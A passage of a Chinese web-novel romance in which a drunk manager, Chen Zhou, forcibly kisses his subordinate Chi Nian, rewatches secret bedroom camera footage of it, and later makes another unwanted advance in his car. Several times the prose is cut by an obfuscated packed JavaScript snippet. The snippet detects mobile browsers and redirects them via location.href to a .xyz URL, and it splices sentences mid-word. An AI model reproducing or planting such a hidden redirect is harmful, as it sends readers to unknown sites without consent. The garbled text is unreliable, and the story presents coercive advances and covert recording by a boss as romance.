郑彦泽和乔森见她这样,后知后觉好像有点过,怀着愧疚的心理,拉开迟念,一左一右地架起醉酒的陈昼。 迟念皱着眉看他们。 郑彦泽诚恳地道歉:“真对不起,我们把他送到车里,之后就麻烦你了。” 迟念本来对他们没有好印象,以为是工作相关的恶意灌酒,结果突然给她道歉,倒不知道怎么回应好。 两个大男人速度很快,她跟在后面,沉默着走到车边。 郑彦泽把陈昼安置在副驾驶,还贴心地把安全带系好,抽身前,小声耳语:“你小子,运气不错!” 乔森站在车前,在迟念疾步走来的时候,特意凑过去说:“我下个月结婚,到时候你们一起来。” 迟念莫名其妙,心想,我们认识吗,就让我随礼。 可他邀请完就退到台阶上,做出送别的样子,她不想浪费时间,只好咽下这句带刺反问的话。 黑色奔驰为了照顾醉酒的男人,一路行驶平缓,停在公寓楼下后,她解安全带的时候猛然想到,不知道他住哪栋啊! 男人双目紧闭,靠在副驾驶,头抵着车窗,脸颊泛红,这一路都没发出过声音,迟念探过身去。 她轻拍他的肩膀,“陈昼?” 没有反应。 她再次,“陈昼,能不能告诉我你家住几栋几层?” 男人的睫毛动了动,艰难地转头过来,眼睛依旧紧闭。 他声音暗哑,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867949|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你是谁?” 她愣了一下,“我是迟念。” 过了几秒,他嘴唇翕动,她把耳朵贴过去,听到一串数字——八栋三单元1502。 她默背之后,下车绕到副驾驶,解开安全带,把人从车上扶下来。 这次明显比出差那次喝得多,上次她也是半背半扶,虽然也很累,但是和这次比,只是洒洒水。 她架着他下电梯,看到1502的门牌时,恍惚看到了佛祖。 差点累断气。 本就没吃饭,空腹跑了这一趟,眼前一黑又一黑…可是,还有最后一道关卡,他的门是密码锁。 她咬紧牙关,“密码是多少?” 男人的唇就在耳边,空气里弥漫着浓重的酒气。 他“唔”了一声,又问:“你是谁?” 她的耐心消耗殆尽,暴躁地说:“迟念,我是迟念!” 话音刚落,就听他说:“2580。” 迟念终于看到胜利的曙光,按下数字,门咔嚓打开,用尽最后的力气把他送到卧室,她也瘫倒在床边。 上气不接下气,缓了一会儿,世界还是重影的。 口干舌燥,想喝水… 她身体不停地抖,胳膊费力地搭着床沿,慢慢转过身,变成跪姿动作,准备用手掌撑着床沿站起来。 浑身酸痛,她得稍微缓一会儿。 陈昼的脸在半米外,他侧身躺在床边,头搭着枕头一角;因为醉酒,脖子,耳朵,甚至眼下都泛着不正常的红。 迟念视线下移,发现衬衫的扣子只解开一颗,他躺着的姿势导致第二颗扣子紧紧勒着喉结下方,有种喘不过气的感觉。 看起来很不舒服,她想,要不要帮他把扣子解开啊。 心里还在犹豫,手已经伸过去了,指尖刚碰到扣子,就被一只燥热的大手抓住,她吓得抬头,正对上一双微红的眼。 陈昼虽然睁着眼,但是眼神没有对焦,好像看不到她。虽是醉酒状态,但力气却很大,迟念努力了两次,还是没有挣脱开。 他眉头紧皱,很明显的防御状态。 “你是谁?” 迟念的指尖渐渐泛白,她急忙说:“我是迟念。” “迟念?”他力气竟然更大了。 “对!”她以为他看不清,支着手肘往前凑了凑,两张脸距离极近之后,她说,“看到了吧,快松手!” 陈昼眨了眨眼,发出醉酒独有的哼笑声,“念念~你怎么在这?” 迟念的指尖微白,已经不过血了,她叫苦不迭,“放开,我去给你倒杯水。” 他这次听进去了,手慢慢松开,另一只手却顺势搭在她的后颈,稍微一用力,就把她带到床上。 迟念没有抵抗的力气,天旋地转之后睁眼,发现自己被陈昼搂在怀里,来不及惊慌,唇就覆上强势的温热。 她的惊呼被堵回去,变成含混不清的“唔唔”声,大脑一片空白,氧气因为慌乱迅速消耗;她本能地捶他的胸口,却一点力气都没有,只能被他压在身下。 后颈的手微微上托,她的动作变成主动迎合。 男人闭着眼,似乎不知道自己在干什么。 迟念喘不过气,手脚并用抵抗他的侵略,争取到一点氧气后,急喘着说:“陈…陈经理,你放…放开我!” 陈昼充耳不闻,放在后颈的手轻抚着游过下颌,最终落到她的面颊上,边吻边呓语:“念念~我好渴。” 迟念吓得眼泪差点飙出来,见抵抗无效,赶紧手臂交叉横在胸前做防御状。 好在他的动作止步于颈上,并没有做出格的举动。 唇上燥热,胡茬经过的地方激起轻微的刺痛,男人无比沉浸,拇指滑到她的下巴处,微微用力。 察觉到他的意图,迟念瑟缩地后躲,床沿就在身侧,她在掉下去还是继续承受,果断选择了前者。 身体失重,她结结实实摔在地上。 屁股剧痛,却咬紧牙关没有发出声音,男人的手臂随着她的动作垂下来,骨节分明的手指悬在半空。 迟念弓起腿,慢慢移动,直到自己离开危险区。 经过刚才的意外,她几乎脱力,男人趴在床边,侧脸埋在灰白色的软枕里,看不清表情,似乎已经昏睡过去。 松了口气的同时,决定马上离开这里。 体力前期透支严重,迟念第一次这么狼狈,手脚并用爬出卧室,抓着门边艰难站起,一瘸一拐地往门口走。 路过饮水机的时候,还停顿了一下,考虑要不要给他床边放杯水;可想到他的所作所为,迟念暗暗诅咒,渴死算了。 一路艰难,总算出了公寓范围,她大口呼吸着自由的空气,内心在哀号:这到底算不算工伤啊! 39. 第三十九章 迟念游魂似的下了地铁,在回家的路上简单拉伸四肢,到家门口时,终于感觉不到那么痛了。 调整心情,打开房门。 何伶在瑜伽垫上做运动,她的状态越来越好了,继续这样坚持个把月,应该可以飞升成仙了。 迟念低头换鞋,把包挂在门口,打算直接回卧室。 何伶在做瑜伽的新月式,单腿触地,双臂高举到头顶,正对着门口,好像古代大臣在跪拜帝王。 她说:“念念,帮我倒一口水呗。” 迟念以为自己听错,“一口?” “对,就一口,太晚了,我不能多喝。” “好。”她走到厨房,接了杯子的四分之一量,低头走过去,杯子离手,马上转身想走,衣摆却被拉住。 她疲惫,“干吗。” “空杯子拿回去啊,你怎么回事?” 何伶把杯子放在她手里,后知后觉她不太对劲,赶紧站起来,仔细看她。 迟念目光游离,心虚地抿着唇。 何伶环抱双臂,严肃审问:“老实交代,去哪了?” “加班。” “真的?”她吸了吸鼻子,明显不信。 迟念鼓起勇气抬起头,有气无力地说:“刚加完班,好累哦,今天想早点睡。” 何伶勾了勾唇角,眼神像刀一样锋利,“你撒谎!” 迟念心跳慢了一拍,还没有做好把这件事说出去的心理准备,肩膀就受到重击,何伶成天不吃饭,也不知道哪来的力气。 “去吃重庆火锅了吧,这有什么不能说的。” 迟念呆住,可这样的表情却被何伶误解为——这你都能猜中? 她相当得意,摆出名侦探柯南的经典动作,“味道可以掩盖,但是被锅底辣肿的嘴唇出卖了你!又是那个陈经理请客吧?” 迟念心虚地点头。 “啧,他对你还挺好。” 何伶坐到沙发上,满意地看着日渐平坦的小腹,“我已经熬过最艰难的前七天,接下来的日子就容易了,你也不用为了配合我在外面吃了。” 迟念心虚,语气不清地含混说:“算了,等你面试通过再说。” * 第二天,迟念心事重重地坐在工位上,时不时看向经理室方向。直到十点,没见门开,忍不住去找珍珠姐。 她倚在门口,欲言又止。 叶珍珠奇怪,“怎么啦?” “呃…陈经理还没来?” “没来。”说完,暧昧地冲她眨了眨眼,“他来不来,你不是最清楚吗。” 又开始了,迟念头痛。 她勉强地笑了一下,转身离开。 直到中午,还是不见人,她脑海里反复回荡他的声音——念念,我好渴… 她焦灼地点开搜索引擎——喝醉之后缺水会死吗? 网页给出的结果模棱两可,她只看到“严重时可能会有生命危险”,对死亡的恐惧掩盖不美好的回忆,她忙跑去按电梯。 内心默默祈祷:拜托不要死。 电梯门开,她几乎是跑进去的,却撞进一具温暖的胸膛里。 抬头,眼底的焦急还未散去,就看到担心的对象活生生地站在这里。 松了一口气的同时,后退一大步,眼神飘忽,“陈经理中午好。” 陈昼宿醉,脸色有些憔悴,透明边框的眼镜能遮挡一部分疲惫,可唇周的胡茬却明显地摆在那里。 迟念想起嘴唇被刺痛的感觉,心里咯噔,赶紧走出电梯。 男人也一并出来。 他声音是工作时独有的清冷:“我看到通话记录,昨天是你送我回的公寓?” 迟念小心地看了眼四周,两人站的位置就在部门口,有点太明目张胆了;她往后退了一步,和他保持上下级的安全距离。 “是我送的。”她努力表现自然。 “哦,我猜是你。”陈昼向前一步,似乎为了照顾她的谨慎,故意压低声音,“辛苦了,昨天喝太多,怎么回的家都忘了。” 迟念对此持怀疑态度。 “真的吗?” 他从善如流,“记忆截止到喝第四瓶。” “啊…”迟念见他面色平静,似乎真的什么都不记得,身体终于慢慢放松。 她声音轻盈,“我到酒店的时候你已经醉倒了,送到家也没醒,我就离开了。” 他点了点头,“我知道。” 迟念“嗯”了一声,马上意识到这三个字里隐含的另一层意思,猛地抬头,“你…不是都忘了吗。” “是啊,忘了。”他视线不离她的脸,语气随意:“但卧室有监控。” 迟念傻了。 不用想都知道此刻自己的脸五颜六色很难看。 “呃…你…” 他却在她失去语言组织能力时,突然笑了,而且是那种恶作剧得逞的笑,“骗你的。” 迟念惊出一身冷汗,半天缓不过来。 奇怪,明明是他酒后失态做错事,怎么会把她吓成这样。暗骂自己没出息,迅速调整心情,决定强迫自己忘记这件事。 * 经理室。 陈昼靠在椅背,背对着门的方向,落地窗外是被绿色覆盖的林江,若是平时,他一定会为了放松眼睛看远景。 今天却… 手机横放在掌心,屏幕播放已经缓存的视频片段。 一张浅灰色大床,人影跌跌撞撞从门外进来,女孩身材单薄,整个身体被踉跄的男人覆盖,却不知从哪来的力气,硬生生把人送到床上。 她也瘫坐在地。 画面有两分钟静止,他没有快进,极有耐心地看着她喘气。 她终于挪动,从靠着床坐变成对着床跪,本应该撑着起来的,却突然被什么吸引了,她慢慢伸出手。 床上醉酒的男人像一条假寐的大蟒,感觉到小动物靠近,突然有了动作,女孩就这样被卷进怀里。 醉酒的男人任本能驱使,束缚住猎物之后,马上变成进攻姿势。 陈昼双击暂停,画面停止在他轻抚迟念的脸忘我索取的一刻,眼神片刻失焦,他重重吐了一口气。 退出视频,点进通讯录,找到备注“冯医生”的联系人。 直接拨号过去。 两年多前,他在酒会上意外泄露身份,被“有心人”盯上,夜潜套房,妄图自导自演一出桃色戏码。 那天的他也像昨晚一样醉。 记忆却深刻骨髓。 漆黑,冷月,曲线毕露的白腻躯体,那时他正是血气方刚的年龄,加之醉酒之后没有自控力,应该落入圈套。 可是…却什么都没有发生。 他主张自己因此产生心理阴影,但冯医生却不是很赞同,他确定比阴影严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在飞机场里把整个蛋糕塞进嘴里又吐出来的她,孤军奋战把他从酒会背回酒店的她,或是藏不住心思,把想说的话都摆在脸上的她。 是他忍不住想靠近的鲜活和美好。 陈昼放下筷子,“就最近几个月。” “最近…”冯医生沉思,“是遇到让你心动的女孩了?” 他停顿三秒,坦诚,“是。” 一声轻笑,冯医生重新拿起筷子,夹了香菇旁边的平菇,笑着说:“年轻人,谈恋爱是最正常不过的事。” 陈昼也是这样认为,但把自己排除在外。 他过了太久不正常的生活,对感情一窍不通,只能拙劣地模仿,对自己的厌恶在酒后做出逾矩行为后,达到顶峰。 他一边任本能向前,一边忧思未来,如果自己在建立亲密关系后,变成另一种他完全陌生的面貌,该怎么办? 他一遍一遍地看视频,沉溺其中的同时,也自我怀疑,这样的行为是否正常,或者是,病情更严重了。 “我不是很确定。” 冯医生对这家店的味道很满意,对今天的见面也很满意;他夹了几块香菇送到陈昼碗里,笑着说:“不需要确定,爱情非常宽容,它允许一切发生。” 40. 第四十章 对迟念来说,躲陈昼已经是刻在DNA里的行为。 更何况还发生那种事…她坐在工位上,明明发誓要忘记,可少儿不宜的画面还是控制不住地往脑袋里钻。 酒气,潮热,试探的舌尖,用力的手指,陈经理平时看起来像个性冷淡,没想到是那种强势的… 脸颊飞上一抹红,她惊醒,使劲捏了下大腿,暗骂自己不许再想。 春天已经过去,夏天在不经意间到来,在空调环境里呆久了,出了写字楼大门,身体瞬间被热浪包裹。 她脱掉衬衫,里面还有一件轻薄短袖,还没下班,只是出来觅食。 听说陈昼去别的部门开会了,才趁机溜出来。 天越来越长,橙红色的夕阳悬在地平线上方,离落下还有很长一段时间,她伸了个懒腰,决定吃牛肉面。 今天没关门,离很远就闻到香味。 她坐在靠窗的位置,点了细丝面外加双拼炝拌菜,一个人吃饭无所顾忌,这是近期最舒服的一餐。 半个小时后,她装做什么都发生回到公司,刚进去就看到珍珠姐招手。 她指了指自己,我? 叶珍珠点头,指着经理室的门,眼神在说——叫你进去呢。 迟念卡机三秒,又想起昨晚的事了。在心里长叹一声,慢吞吞地走过去,抬手,敲门,听到一声“进”。 门开了一条缝,她探头,身体依然留在外面。 陈昼见她贼头贼脑的,直说:“到我这来。” “噢。”她低着头走到办公桌边,明显有些拘谨。 陈昼维持抬头的姿势,镜片后的眼睛一眨不眨,今天温度高,她衣着轻薄,隐隐看到里面的内衣轮廓。 他喉结涌动,这种感觉对他来说很陌生。 迟念见他沉默,只好主动问:“陈经理,你找我有什么事?” 陈昼收回灼人的视线,轻咳一声,“等会儿想吃什么?” 她老实回答:“我已经吃完了。” “嗯?”男人疑惑的语气里夹杂着一丝不满,冷声连问:“吃完了,什么时候,和谁?” 迟念莫名其妙,这和工作无关啊,怎么出去吃个饭还得被审问。虽然感觉不爽,可谁让他是上司。 “牛肉面,刚才,自己。” 陈昼摘下眼镜,捏了捏鼻梁,语气突兀地变得轻松,“看来是我说晚了,今晚本想请你泰国菜的。” 她干笑一声,“谢谢,你的好意我心领了。” 这句话很完美,完美地把他费力拉近的距离又推远了,她的态度突然转变,应该和昨晚的冒犯有关。 陈昼自嘲地笑了一下,突然放低姿态,“因为有事想请教,就算不吃饭,我也想单独和你聊聊。” 迟念的笑僵在脸上。 身体发出危险信号,她很不想,但下级的身份和怂包的性格,让她没有第二个选项,“行…行啊。” 她在心里祈祷,陈经理喜欢的那个女孩快赶紧把他收了吧,再拉扯一段时间,她肯定会被他折腾死。 加班结束,心照不宣地在地下停车场见面。 她主动,“要不我开车?” 陈昼无视申请,径直坐到驾驶位。 好吧… 迟念坐在副驾驶,系好安全带,车子驶出停车场,直接开去通往她家的路。 这次是他主动。 “你上次告诉我的事,我试验过了。” “什么?”她说了太多废话,不知道具体是哪个。 “死缠烂打。” “噢噢!”迟念突然想到昨晚…救! 她挥走脑海里不合时宜的画面,淡定地说:“结果怎么样?” 他有几秒钟停顿。 “似乎…不是一个好办法。” “怎么会呢?!” 她为了甩掉麻烦,恨不得把他们打昏然后捆在一起直接生米煮成熟饭,眼下求爱不顺,她心急,“可能你太粗鲁了。” “粗鲁?我没有。” 竟然不承认!迟念差点把他断片后干的事拿出来对峙,好在还有理智,她缓缓呼吸,调整情绪。 “她很抵触?” 陈昼看了她一眼,随口说:“也不算。” 还好,有救! “抽你巴掌了吗?” 他忽然笑了,“当然没有。” 迟念言之凿凿,“这叫欲拒还迎,只要没有当场甩你巴掌,就是还有戏。” “是吗?” “对!” 陈昼踩下刹车,前方红灯60秒倒计时。 他舒展地靠在椅背,手臂搭在方向盘上,不知是不是迟念的错觉,他的心情好像突然变得很好。 “你知道我为什么每次都问你,也相信你说的话吗?” 迟念记得标准答案。 “你说我们很像。” “对,很像,所以偶尔会混淆。” 她恍然,怪不得他昨晚会那样。人喝醉后,身体被本能支配,那种恨不得拆吃入腹的方式,不正是说明…他很爱吗。 起因也是她为了让他松手,突然把脸凑过去,他醉酒和视力不好双重叠加,认错人是很正常的事。 这样解释太合理了,她劝好了自己,并轻松迈过这道坎。 只是…脑海里突然蹦出两个字——替身。 当年上大学的时候,和何伶一起沉迷过两年言情小说,到废寝忘食的程度,关灯了还趴被窝里开电筒看。 她喜欢霸总,何伶喜欢年上。 虽然癖好固定,但是进入社会之后,发现虚拟和现实是两个世界,她们也都戒掉小说,努力适应真实的生活。 所以,对迟念来说,对陈昼照片一见钟情是虚拟,恪守员工的本分是现实。 她真情实感,“希望你们快点在一起。” 陈昼唇角带着意味不明的笑意,“我们什么时候在一起,都要靠你。” “别…每个人都不一样,我只是从我的角度出发。” “我说了,你们很像。” “外貌像很正常啊,因为我是大众脸。”心直口快地说完,突然反应过来,自己虽然在谦虚,但也在无形中贬低了另一个女孩。 她急改口,“我是赝品的意思。她很漂亮。” 陈昼时不时转头看她,脸上笑容就没下去过,“她当然很漂亮。” 车子驶出主路,明亮的路灯透过车窗,照在迟念松了口气的脸上,虽说这样一对一很炼情商,但也费脑。 她眼里没了光。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在唇触到温热的前一秒,她惊叫出声,手精准抠到车门开关,却被另一只燥热的大手按住。 陈昼眼神晦暗,他没有控制这种欲望的能力,像一条被困多年的鱼,刚跳进海里,就被钓上来,不甘地喘着粗气。 迟念被吓到了。 身体被肾上腺素主导,打开车门,逃命似的连滚带爬地下了车。不敢回头,一路狂奔,直到进电梯了,才开始抖。 门被敲响。 何伶身上挂着呼啦圈,走到门口问:“谁啊?” “我。” 是迟念的声音,她瞥了一眼门口放钥匙的地方,按下门把,吐槽:“你不是带钥匙了么,怎么还…” 门开了,却不见人,她探出头,终于看到蹲在门后的迟念。 “怎么了?” 迟念伸出手,笑得比哭还难看。 “拉我一把。” 何伶莫名其妙,“什么情况,不能走路了?” 迟念有气无力,“没,就是腿有点软。” 41. 第四十一章 何伶从冰箱拿出一瓶冰水,递给瘫在沙发上的迟念,“怎么累成这样,难不成公司今天办运动会了?” 迟念疲惫地摇了摇头。她现在思绪很乱。 陈昼今天没喝酒,看起来非常清醒,怎么又做出那种事了?难道真像他自己说的,混淆了? 屁! 就算双胞胎,也不会像到分不出的程度,更何况车里还有灯,上一秒还在说话呢,下一秒就压过来了。 她气闷,这到底算什么啊? 何伶拿着冰水,看她一会皱眉一会冷笑的,明显不正常,难道回家的路上撞到脏东西了? 她抓起沙发上的手机,“没事儿,我给红姨打电话,她会远程收惊。” 迟念急忙探身过来,把还没通的电话挂断,“收什么惊啊,没事儿。” “工作搞砸了?” “没。” 迟念烦躁地把脸埋在抱枕里,闷闷地说:“别问了,我自己还没理清呢。” 何伶一听,马上猜出是关于感情方面的困扰,她们从小一起长大,每次恋爱都互不隐瞒,也知道她变成这种怂蛋模样一定是… “又单方面失恋了?” 迟念斜了她一眼,撇嘴说:“才没有。” “和我有什么不好意思说的。”何伶也无心运动了,坐到她身边,摆出一副打破砂锅问到底的架势,“说说呗,我帮你分析一下。” “…不要。” “哎呀!”何伶被勾起好奇心,“这样吧,交换秘密,我先说我的。” 迟念不感兴趣地哦了一声,“你的我都能猜到,无非是在剧组认识个小狼狗弟弟,要到联系方式,热聊一周,然后找碴吵架甩掉…” 何伶的过往被说中,愣了一下,“我要说这个不是!”她着重强调,“不是弟弟,也不是小狼狗。” 迟念抬眼,有些意外,“那是?” 她终于从少儿不宜的画面里逃出来,好奇何伶这种择偶审美固定的人,会隐瞒了什么样的对象。 何伶清了清嗓子,“还记得我上次说那个给我钱,让我演他姐的男人吧?” 迟念眼珠转了转,猛地想起,“喜欢挨打那个!” “对。” “你…”迟念思维开始发散,想到某些小众癖好的场景,连带着对何伶都不忍直视,“配合他了?” “没有,他不是。” 何伶经过漫长的休息,终于把那件事消化好了,说到底,还是她自己意志不坚定,怪不得别人。 迟念洗耳恭听。 “有一天下大雨,我和你说不回来了。” “对,那天你的戏太累了。” “那晚我们睡了。” “哦…蛤??” 迟念震惊地张大嘴巴,只停顿一秒钟,马上问:“戴套了吗?” “戴了。” 她松了口气,“那就好。” 迟念虽然看起来乖乖女,但这方面没有那么保守,对于男女之间的亲密行为,在保证安全的前提下是可以的。 “然后呢?” 这次换何伶意外,“没有然后了啊,现在陌生人。” 迟念:“……” “这算什么秘密。” 何伶扑哧一声笑了,故意激她,“来,那你说一个比我这还劲爆的。” 迟念猛提一口气,说之前突然意识到,把她折磨得心烦意乱,几乎超出心理承受的,只是一个吻而已。 衣服好好地穿着,不涉及安全问题,仅停留在脖子以上的接触,和对面的一夜情相比,自己这件事简直不足挂齿。 她立刻偃旗息鼓,“是和陈经理啦。” “睡了?” “没有。”迟念难受地抓了抓后颈,“他就是…亲我。” 何伶安静三秒,本在等十八禁的下文,结果什么都没有,不死心地问:“只是亲而已?手有没有乱摸?” 她摇头,“没有。” 何伶大失所望,这种时候应该喝一杯酒的,可惜在关键期,只能拧开水瓶抿了一口,润润嘴唇。 “你们在搞纯情校园那一套啊?” “怎么就纯情了!”迟念音量提高,“他有喜欢的女孩,每次和我见面的理由都是问我怎么追人家。” 何伶这就不懂了,“为什么偏偏问你。” “他说我们很像。” “像?” 何伶托着下巴做思考状,断碳之后脑子是慢,她想了半天,终于得出结论:“这是把你当平替了。” 这个形容词还没替身好听呢,迟念自尊心受到重创,“包包护肤品什么的有平替正常,第一次听说女朋友还能平替。” “他就喜欢你这种类型的呗,正的不好追,山的凑合一下。” 迟念:“……” “你说话好难听。” 何伶微笑,“故意气你的。真是根木头,他都亲你了,奔三的男人怎么可能搞纯爱,很明显对你有那种企图。” “可能吗…”她不解,“那干吗还一直问我怎么追别人。” 何伶耸了耸肩,“他是想脚踏两条船,还是闲得没事拿你解闷,得当面去问他啊,万一他喜欢的就是你呢。” 迟念自动pass掉最后一句。 自作多情只经历过一次就够了,按现实来考量,他家世显赫,条件优越,想找什么样的找不到,干嘛把时间浪费在她这底层员工身上。 她眼神幽幽:“可能把我当解闷的花生米了。” 何伶看不上她这样悲观,大嗓门说:“不管把你当花生米还是船,明天当面问清楚,强硬点,不就一破工作吗,真被开除了来给我当助理!” “呜!” 迟念感动得要死,她一把搂住何伶的腰,呜呜地说:“伶子,没有你我可怎么活啊…” 夜深,街上车流渐渐稀少。 黑色奔驰车依然停在小区门口,副驾驶车门半开,座椅上的垫子滑落一半,这一切都昭示坐在这里的人走得很匆忙。 一缕青烟飘散在空气里,未燃尽的烟头在夜空中划了个抛物线,湮灭的同时,消失在人行道边的垃圾桶里。 陈昼再次抬起头,看向高层公寓亮灯的窗口。 小小的明黄色,偶尔有人影闪过。 他突然累了,身体里的火已经被点燃,且越烧越旺,没耐心再玩这种暧昧拉扯的游戏,恨不能现在就把她搂进怀里。 他吐出一口浊气,黑暗的车厢里,手机突然亮屏。 新消息显示一堆红色表情,他随手点开,是乔森的婚礼邀请。 ——嘿!日子定了,这周末,在半岛酒店,一定一定要带女朋友来! * 活动进入尾声,部门里的键盘声比平时更吵,迟念坐在工位,两只眼睛呆滞地盯着电脑屏幕,脑海里正火热播放狗血小剧场。 ——她身穿黑色特工套装,脚踩高跟鞋大步走到经理室,冷酷地推开门,站在办公桌前,抱紧双臂。 男人和平时一样,面无表情地处理工作,好像之前那两次冒犯与他无关。 迟念用手指重重敲桌面。 他抬起头,推了推眼镜,上下打量她。 “念念,有事?” 迟念扯了扯嘴角,“我之前警告过你好几次吧,不可以这么叫我。” 陈昼手指交叉,思索几秒之后,颔首答应,“好,以后叫你小迟。” “还有…”她利落地从西服兜里掏出手枪,越过办公桌,枪口直顶他的额头,“喝醉亲我的事既往不咎,如果再有下次,我就不客气了。” 她一字一句说完,故意做扣动扳机准备,陈昼马上举起双臂做投降状。 “抱歉,是我的失误,因为你和我喜欢的女孩很像。” 迟念面露嘲讽,“你在找借口,就算是一模一样的双胞胎,她们的爱人也会瞬间分辨出来,因为爱人是爱灵魂,不是皮囊。” 陈昼不解,“灵魂?” “对,由此可见,你口口声声说爱她,是假话,而借着请教的名义三番五次接近我,是…”她向前探身,突然露出笑容,“移情别恋爱上我了吧?” …… 靠! 迟念一身鸡皮疙瘩地从小剧场里脱离,第一件事就是猛掐自己大腿,你在想什么啊啊啊,应该拿出强硬的气势质问,这么还演上偶像剧了。 心里这样命令自己,大脑却脱离主线不受控制。 狗血的办公室剧情进入尾声,画面一转,回到那晚醉酒,欸?她惊恐,自己怎么是监控器视角… 男人醉倒在床,脱力的女孩靠在床边喘气,在她浑然不觉的情况下,他慢慢睁开眼,深情地看着她的背影。 剧情开始不按现实走。 男人解开衬衫纽扣,一颗,两颗,三颗…直到胸肌腹肌全部裸露,女孩才后知后觉,惊恐地捂住嘴。 昂贵的衬衫被扔到床尾,他的嘴角噙着淡淡的笑意,眼神却像一头饥饿的野兽在看自己的猎物。 越来越近。 男人脊背宽阔,猛眼看去,比她花钱买来的官宣照有型,多了几分成熟男人的味道不说,也更加危险。 女孩手脚并用向后躲,奈何卧室狭小,她缩在角落,眼眶泛红地恳求:“陈经理,求求你不要这样好不好?” 男人哂笑,抬手勾住她的下巴,明目张胆地撩拨她的嘴唇,“求?你送我回家不就是想这样吗?” 他慢慢靠近,喘息相闻。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14886547|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 停在五厘米外。 侵略的眼神几乎把她剥光。 “难道你不想?” …… 啊! 迟念崩溃的抓自己头发,死脑子到底在想什么啊啊啊!说多少次了,不要自作多情不要自作多情! 她欲哭无泪。 休眠的显示器屏幕倒映她狼狈的样子,长叹一口气之后,从桌角拿起手机,点击粉色APP图标。 页面显示一颗红心,旁边温馨标注——您正处在排卵期。 怪不得… 人在激素作用下是如此的渺小,她宽容地原谅了自己刚才的胡思乱想,点击鼠标,准备投入工作中去。 屏幕刚亮,欢姐就从背后拍她肩膀,“忙呢小迟。” 迟念回头,“还好,什么事?” 欢姐端着一杯热咖啡,边吹气边指门外,“有人找你,好像是你那个当演员的朋友吧,啧啧,长得还真是盘靓条顺。” 何伶来找她?她不是饿得在家躺平了吗,怎么会有力气走这么远。 迟念不明所以,谢过欢姐之后,顶着一头被揉乱的头发出去;走廊空荡荡的,没看到人,难道在楼梯口? 她脚步加快,刚走到转弯,就差点撞到人。 是个女孩。 她身材高挑纤细,穿着黑色香风连衣裙,一头栗色波浪卷,细白的手臂挎着一个铂金包,脸没看清,香水味先冲过来了。 浓得呛鼻。 迟念轻咳一声,忙道歉,“对不起对不起。” 女孩抬起头,过分精致的脸显得这身华贵都不那么隆重了,简直为她量身定做,契合得让人赞叹叫绝。 她眉眼是柔和的线条,眼神却透出一丝凌厉,被冒失的人撞到,似乎心情不好,皱眉打量迟念。 脸勉强算清秀吧,浑身上下也就脸还行,穿着素净的衬衫西裤,像个银行柜员,主要这头发,搞什么啊,刚从被窝里爬出来似的。 怎么,和陈昼谈恋爱就把公司当家了? 孟思妍冷笑一声,把对她的评价从0变成负数。 迟念本来对她很惊艳来着,结果听她冷笑,暗暗腹诽,这么美丽的一张脸,脾气却貌似不太好。 不过是自己有错在先,还是再道一次歉吧。 她比刚才更诚恳,“实在不好意思,撞疼你了吧?” 孟思妍无视她的道歉,开门见山,“你就是迟念?” 迟念愣了一下,她确定不认识这个人。 “是我,你是?” 孟思妍勾起唇角,前几天偶然听说陈昼有了女朋友,还说谈了很多年,她以为是个多了不得的人物呢,没想到就这? 来之前还精心挑选礼服,搭配昂贵饰品,一路绷紧神经。结果…杀鸡焉用宰牛刀,她就算穿睡裙来都比眼前的人精致。 陈昼竟然和这样的人恋情稳定,还为此拒绝自己好几次,甚至为了和她在一起留在这种鬼地方。 近距离接触后,孟思妍不太信,她说:“我和陈昼认识二十多年了,这几天经常听到你的名字。” 迟念瞳孔地震,电光火石之间想到陈昼那个喜欢却追不到的女孩,他们的外表,年龄,气质都非常相配。 难道已经在一起了!? 她视线下移,停在孟思妍手腕。 那里有一串精致的手链,不是手表,还没表白? 现在表没表白不重要了,她为什么会找来啊,还特地赶在陈昼不在公司的时间,难道…听到谣言误会了? 迟念如临大敌,事情因自己而起,应该好好解释一下,可话还没说出口,就听这女孩啧了一声,眼神明晃晃是在看扁。 “还真不怎么样。” 迟念愣怔,她眼神嫌弃也就算了,说话竟然还这么难听。 算了,她不自然地笑笑,态度很好,“要不我们坐下聊,请你喝咖啡可以吗?” 孟思妍嗤了一声,她特地过来就是为了发脾气,没逮到陈昼,逮到他女朋友也是一样,“怎么,在这装大度呢?” 见迟念一脸蒙,孟思妍索性把这么多年暗恋不成的委屈都撒在她身上。 “你不怎么样的意思是,很丑,很土,很矮。” 迟念心跳加速,她已经很久没听到这样原始又直白的人身攻击了,大脑短暂空白之后,脱口而出:“可是我们长得一模一样啊。” 